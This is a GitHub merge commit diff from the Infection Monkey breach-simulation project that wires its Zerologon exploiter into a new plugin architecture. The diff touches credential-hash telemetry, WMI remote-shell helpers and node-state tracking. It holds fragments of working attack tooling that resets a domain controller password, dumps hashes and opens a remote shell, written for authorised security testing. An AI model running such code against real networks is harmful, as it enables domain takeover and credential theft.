Merge pull request #1773 from guardicore/1737-add-zerologon-to-puppet

1737 add zerologon to puppet
This commit is contained in:
Mike Salvatore 2022-03-11 08:53:12 -05:00 committed by GitHub
commit 453dc21074
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
12 changed files with 63 additions and 57 deletions

View File

@ -1,5 +1,6 @@
import logging import logging
import threading import threading
from functools import wraps
from impacket.dcerpc.v5.dcom import wmi from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError from impacket.dcerpc.v5.dcom.wmi import DCERPCSessionError
@ -24,11 +25,13 @@ class AccessDeniedException(Exception):
class WmiTools(object): class WmiTools(object):
@staticmethod @staticmethod
def impacket_user(func): def impacket_user(func):
@wraps(func)
def _wrapper(*args, **kwarg): def _wrapper(*args, **kwarg):
logger.debug("Waiting for impacket lock")
with lock: with lock:
logger.debug("Acquired impacket lock")
return func(*args, **kwarg) return func(*args, **kwarg)
return _wrapper return _wrapper
@ -61,9 +64,12 @@ class WmiTools(object):
wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login
) )
except Exception as exc: except Exception as exc:
dcom.disconnect() try:
dcom.disconnect()
except KeyError:
logger.exception("Disconnecting the DCOMConnection failed")
if "rpc_s_access_denied" == exc: if "rpc_s_access_denied" == exc.error_string:
raise AccessDeniedException(host, username, password, domain) raise AccessDeniedException(host, username, password, domain)
raise raise
@ -91,10 +97,13 @@ class WmiTools(object):
@staticmethod @staticmethod
def dcom_wrap(func): def dcom_wrap(func):
@wraps(func)
def _wrapper(*args, **kwarg): def _wrapper(*args, **kwarg):
try: try:
logger.debug("Running function from dcom_wrap")
return func(*args, **kwarg) return func(*args, **kwarg)
finally: finally:
logger.debug("Running dcom cleanup")
WmiTools.dcom_cleanup() WmiTools.dcom_cleanup()
return _wrapper return _wrapper

View File

@ -16,11 +16,16 @@ from impacket.dcerpc.v5 import epm, nrpc, rpcrt, transport
from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.dtypes import NULL
from common.utils.exploit_enum import ExploitType from common.utils.exploit_enum import ExploitType
from infection_monkey.credential_collectors import LMHash, NTHash, Username
from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.HostExploiter import HostExploiter
from infection_monkey.exploit.tools.wmi_tools import WmiTools
from infection_monkey.exploit.zerologon_utils.dump_secrets import DumpSecrets from infection_monkey.exploit.zerologon_utils.dump_secrets import DumpSecrets
from infection_monkey.exploit.zerologon_utils.options import OptionsForSecretsdump from infection_monkey.exploit.zerologon_utils.options import OptionsForSecretsdump
from infection_monkey.exploit.zerologon_utils.vuln_assessment import get_dc_details, is_exploitable from infection_monkey.exploit.zerologon_utils.vuln_assessment import get_dc_details, is_exploitable
from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec
from infection_monkey.i_puppet import ExploiterResultData
from infection_monkey.i_puppet.credential_collection import Credentials
from infection_monkey.telemetry.credentials_telem import CredentialsTelem
from infection_monkey.utils.capture_output import StdoutCapture from infection_monkey.utils.capture_output import StdoutCapture
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
@ -34,9 +39,8 @@ class ZerologonExploiter(HostExploiter):
MAX_ATTEMPTS = 2000 # For 2000, expected average number of attempts needed: 256. MAX_ATTEMPTS = 2000 # For 2000, expected average number of attempts needed: 256.
ERROR_CODE_ACCESS_DENIED = 0xC0000022 ERROR_CODE_ACCESS_DENIED = 0xC0000022
def __init__(self, host: object): def __init__(self):
super().__init__(host) super().__init__()
self.exploit_info["credentials"] = {}
self.exploit_info["password_restored"] = None self.exploit_info["password_restored"] = None
self._extracted_creds = {} self._extracted_creds = {}
self._secrets_dir = tempfile.TemporaryDirectory(prefix="zerologon") self._secrets_dir = tempfile.TemporaryDirectory(prefix="zerologon")
@ -44,11 +48,13 @@ class ZerologonExploiter(HostExploiter):
def __del__(self): def __del__(self):
self._secrets_dir.cleanup() self._secrets_dir.cleanup()
def _exploit_host(self) -> bool: @WmiTools.impacket_user
def _exploit_host(self) -> ExploiterResultData:
self.dc_ip, self.dc_name, self.dc_handle = get_dc_details(self.host) self.dc_ip, self.dc_name, self.dc_handle = get_dc_details(self.host)
can_exploit, rpc_con = is_exploitable(self) can_exploit, rpc_con = is_exploitable(self)
if can_exploit: if can_exploit:
self.exploit_result.exploitation_success = True
logger.info("Target vulnerable, changing account password to empty string.") logger.info("Target vulnerable, changing account password to empty string.")
# Start exploiting attempts. # Start exploiting attempts.
@ -62,10 +68,12 @@ class ZerologonExploiter(HostExploiter):
"Exploit not attempted. Target is most likely patched, or an error was " "Exploit not attempted. Target is most likely patched, or an error was "
"encountered." "encountered."
) )
return False return self.exploit_result
# Restore DC's original password. # Restore DC's original password.
if _exploited: if _exploited:
self.exploit_result.propagation_success = False
self.exploit_result.exploitation_success = _exploited
if self.restore_password(): if self.restore_password():
self.exploit_info["password_restored"] = True self.exploit_info["password_restored"] = True
self.store_extracted_creds_for_exploitation() self.store_extracted_creds_for_exploitation()
@ -76,7 +84,7 @@ class ZerologonExploiter(HostExploiter):
else: else:
logger.info("System was not exploited.") logger.info("System was not exploited.")
return _exploited return self.exploit_result
@staticmethod @staticmethod
def connect_to_dc(dc_ip) -> object: def connect_to_dc(dc_ip) -> object:
@ -264,42 +272,19 @@ class ZerologonExploiter(HostExploiter):
def store_extracted_creds_for_exploitation(self) -> None: def store_extracted_creds_for_exploitation(self) -> None:
for user in self._extracted_creds.keys(): for user in self._extracted_creds.keys():
self.add_extracted_creds_to_exploit_info( self.send_extracted_creds_as_credential_telemetry(
user,
self._extracted_creds[user]["lm_hash"],
self._extracted_creds[user]["nt_hash"],
)
self.add_extracted_creds_to_monkey_config(
user, user,
self._extracted_creds[user]["lm_hash"], self._extracted_creds[user]["lm_hash"],
self._extracted_creds[user]["nt_hash"], self._extracted_creds[user]["nt_hash"],
) )
def add_extracted_creds_to_exploit_info(self, user: str, lmhash: str, nthash: str) -> None: def send_extracted_creds_as_credential_telemetry(
# TODO exploit_info["credentials"] is discontinued, self, user: str, lmhash: str, nthash: str
# refactor to send a credential telemetry ) -> None:
self.exploit_info["credentials"].update( self.telemetry_messenger.send_telemetry(
{ CredentialsTelem([Credentials([Username(user)], [LMHash(lmhash), NTHash(nthash)])])
user: {
"username": user,
"password": "",
"lm_hash": lmhash,
"ntlm_hash": nthash,
}
}
) )
# so other exploiters can use these creds
def add_extracted_creds_to_monkey_config(self, user: str, lmhash: str, nthash: str) -> None:
if user not in self._config.exploit_user_list:
self._config.exploit_user_list.append(user)
if lmhash not in self._config.exploit_lm_hash_list:
self._config.exploit_lm_hash_list.append(lmhash)
if nthash not in self._config.exploit_ntlm_hash_list:
self._config.exploit_ntlm_hash_list.append(nthash)
def get_original_pwd_nthash(self, username: str, user_pwd_hashes: List[str]) -> str: def get_original_pwd_nthash(self, username: str, user_pwd_hashes: List[str]) -> str:
if not self.save_HKLM_keys_locally(username, user_pwd_hashes): if not self.save_HKLM_keys_locally(username, user_pwd_hashes):
return return
@ -329,12 +314,7 @@ class ZerologonExploiter(HostExploiter):
self.remove_locally_saved_HKLM_keys() self.remove_locally_saved_HKLM_keys()
def save_HKLM_keys_locally(self, username: str, user_pwd_hashes: List[str]) -> bool: def save_HKLM_keys_locally(self, username: str, user_pwd_hashes: List[str]) -> bool:
logger.info( logger.info(f"Starting remote shell on victim with user: {username}")
f"Starting remote shell on victim with credentials:\n"
f"user: {username}\n"
f"hashes (SHA-512): {self._config.hash_sensitive_data(user_pwd_hashes[0])} : "
f"{self._config.hash_sensitive_data(user_pwd_hashes[1])}"
)
wmiexec = Wmiexec( wmiexec = Wmiexec(
ip=self.dc_ip, ip=self.dc_ip,

View File

@ -56,6 +56,7 @@ from impacket.examples.secretsdump import (
) )
from impacket.smbconnection import SMBConnection from impacket.smbconnection import SMBConnection
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
from infection_monkey.utils.capture_output import StdoutCapture from infection_monkey.utils.capture_output import StdoutCapture
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
@ -96,7 +97,9 @@ class DumpSecrets:
self.__lmhash, self.__nthash = options.hashes.split(":") self.__lmhash, self.__nthash = options.hashes.split(":")
def connect(self): def connect(self):
self.__smb_connection = SMBConnection(self.__remote_name, self.__remote_host) self.__smb_connection = SMBConnection(
self.__remote_name, self.__remote_host, timeout=LONG_REQUEST_TIMEOUT
)
self.__smb_connection.login( self.__smb_connection.login(
self.__username, self.__username,
self.__password, self.__password,

View File

@ -71,6 +71,7 @@ class RemoteShell(cmd.Cmd):
self.__secrets_dir = secrets_dir self.__secrets_dir = secrets_dir
# We don't wanna deal with timeouts from now on. # We don't wanna deal with timeouts from now on.
# TODO are we sure we don't need timeout anymore?
if self.__transferClient is not None: if self.__transferClient is not None:
self.__transferClient.setTimeout(100000) self.__transferClient.setTimeout(100000)
self.do_cd("\\") self.do_cd("\\")

View File

@ -51,6 +51,7 @@ from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dtypes import NULL from impacket.dcerpc.v5.dtypes import NULL
from impacket.smbconnection import SMBConnection from impacket.smbconnection import SMBConnection
from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
from infection_monkey.exploit.zerologon_utils.remote_shell import RemoteShell from infection_monkey.exploit.zerologon_utils.remote_shell import RemoteShell
logger = logging.getLogger(__name__) logger = logging.getLogger(__name__)
@ -74,7 +75,7 @@ class Wmiexec:
self.shell = None self.shell = None
def connect(self): def connect(self):
self.smbConnection = SMBConnection(self.__ip, self.__ip) self.smbConnection = SMBConnection(self.__ip, self.__ip, timeout=LONG_REQUEST_TIMEOUT)
self.smbConnection.login( self.smbConnection.login(
user=self.__username, user=self.__username,
password=self.__password, password=self.__password,

View File

@ -20,6 +20,7 @@ from infection_monkey.exploit.hadoop import HadoopExploiter
from infection_monkey.exploit.log4shell import Log4ShellExploiter from infection_monkey.exploit.log4shell import Log4ShellExploiter
from infection_monkey.exploit.sshexec import SSHExploiter from infection_monkey.exploit.sshexec import SSHExploiter
from infection_monkey.exploit.wmiexec import WmiExploiter from infection_monkey.exploit.wmiexec import WmiExploiter
from infection_monkey.exploit.zerologon import ZerologonExploiter
from infection_monkey.i_puppet import IPuppet, PluginType from infection_monkey.i_puppet import IPuppet, PluginType
from infection_monkey.master import AutomatedMaster from infection_monkey.master import AutomatedMaster
from infection_monkey.master.control_channel import ControlChannel from infection_monkey.master.control_channel import ControlChannel
@ -221,6 +222,11 @@ class InfectionMonkey:
) )
puppet.load_plugin("SSHExploiter", exploit_wrapper.wrap(SSHExploiter), PluginType.EXPLOITER) puppet.load_plugin("SSHExploiter", exploit_wrapper.wrap(SSHExploiter), PluginType.EXPLOITER)
puppet.load_plugin("WmiExploiter", exploit_wrapper.wrap(WmiExploiter), PluginType.EXPLOITER) puppet.load_plugin("WmiExploiter", exploit_wrapper.wrap(WmiExploiter), PluginType.EXPLOITER)
puppet.load_plugin(
"ZerologonExploiter",
exploit_wrapper.wrap(ZerologonExploiter),
PluginType.EXPLOITER,
)
puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD) puppet.load_plugin("ransomware", RansomwarePayload(), PluginType.PAYLOAD)

View File

@ -128,8 +128,14 @@ class NodeService:
def get_node_group(node) -> str: def get_node_group(node) -> str:
if "group" in node and node["group"]: if "group" in node and node["group"]:
return node["group"] return node["group"]
node_type = "exploited" if node.get("exploited") else "clean"
if node.get("propagated"):
node_type = "propagated"
else:
node_type = "clean"
node_os = NodeService.get_node_os(node) node_os = NodeService.get_node_os(node)
return NodeStates.get_by_keywords([node_type, node_os]).value return NodeStates.get_by_keywords([node_type, node_os]).value
@staticmethod @staticmethod
@ -164,10 +170,6 @@ class NodeService:
"os": NodeService.get_node_os(node), "os": NodeService.get_node_os(node),
} }
@staticmethod
def set_node_group(node_id: str, node_group: NodeStates):
mongo.db.node.update({"_id": node_id}, {"$set": {"group": node_group.value}}, upsert=False)
@staticmethod @staticmethod
def unset_all_monkey_tunnels(monkey_id): def unset_all_monkey_tunnels(monkey_id):
mongo.db.monkey.update({"_id": monkey_id}, {"$unset": {"tunnel": ""}}, upsert=False) mongo.db.monkey.update({"_id": monkey_id}, {"$unset": {"tunnel": ""}}, upsert=False)
@ -202,6 +204,7 @@ class NodeService:
"ip_addresses": [ip_address], "ip_addresses": [ip_address],
"domain_name": domain_name, "domain_name": domain_name,
"exploited": False, "exploited": False,
"propagated": False,
"os": {"type": "unknown", "version": "unknown"}, "os": {"type": "unknown", "version": "unknown"},
} }
) )
@ -288,6 +291,10 @@ class NodeService:
def set_node_exploited(node_id): def set_node_exploited(node_id):
mongo.db.node.update({"_id": node_id}, {"$set": {"exploited": True}}) mongo.db.node.update({"_id": node_id}, {"$set": {"exploited": True}})
@staticmethod
def set_node_propagated(node_id):
mongo.db.node.update({"_id": node_id}, {"$set": {"propagated": True}})
@staticmethod @staticmethod
def update_dead_monkeys(): def update_dead_monkeys():
# Update dead monkeys only if no living monkey transmitted keepalive in the last 10 minutes # Update dead monkeys only if no living monkey transmitted keepalive in the last 10 minutes

View File

@ -52,6 +52,8 @@ def update_network_with_exploit(edge: EdgeService, telemetry_json):
edge.update_based_on_exploit(new_exploit) edge.update_based_on_exploit(new_exploit)
if new_exploit["exploitation_result"]: if new_exploit["exploitation_result"]:
NodeService.set_node_exploited(edge.dst_node_id) NodeService.set_node_exploited(edge.dst_node_id)
if new_exploit["propagation_result"]:
NodeService.set_node_propagated(edge.dst_node_id)
def encrypt_exploit_creds(telemetry_json): def encrypt_exploit_creds(telemetry_json):

View File

@ -9,8 +9,8 @@ class NodeStates(Enum):
CLEAN_UNKNOWN = "clean_unknown" CLEAN_UNKNOWN = "clean_unknown"
CLEAN_LINUX = "clean_linux" CLEAN_LINUX = "clean_linux"
CLEAN_WINDOWS = "clean_windows" CLEAN_WINDOWS = "clean_windows"
EXPLOITED_LINUX = "exploited_linux" PROPAGATED_LINUX = "propagated_linux"
EXPLOITED_WINDOWS = "exploited_windows" PROPAGATED_WINDOWS = "propagated_windows"
ISLAND = "island" ISLAND = "island"
ISLAND_MONKEY_LINUX = "island_monkey_linux" ISLAND_MONKEY_LINUX = "island_monkey_linux"
ISLAND_MONKEY_LINUX_RUNNING = "island_monkey_linux_running" ISLAND_MONKEY_LINUX_RUNNING = "island_monkey_linux_running"

View File

Before

Width:  |  Height:  |  Size: 4.1 KiB

After

Width:  |  Height:  |  Size: 4.1 KiB

View File

Before

Width:  |  Height:  |  Size: 3.3 KiB

After

Width:  |  Height:  |  Size: 3.3 KiB

View File

@ -1,7 +1,5 @@
import pytest import pytest
from infection_monkey.model.host import VictimHost
DOMAIN_NAME = "domain-name" DOMAIN_NAME = "domain-name"
IP = "0.0.0.0" IP = "0.0.0.0"
NETBIOS_NAME = "NetBIOS Name" NETBIOS_NAME = "NetBIOS Name"
@ -19,8 +17,7 @@ def zerologon_exploiter_object(monkeypatch):
def mock_report_login_attempt(**kwargs): def mock_report_login_attempt(**kwargs):
return None return None
host = VictimHost(IP, DOMAIN_NAME) obj = ZerologonExploiter()
obj = ZerologonExploiter(host)
monkeypatch.setattr(obj, "dc_name", NETBIOS_NAME, raising=False) monkeypatch.setattr(obj, "dc_name", NETBIOS_NAME, raising=False)
monkeypatch.setattr(obj, "report_login_attempt", mock_report_login_attempt) monkeypatch.setattr(obj, "report_login_attempt", mock_report_login_attempt)
return obj return obj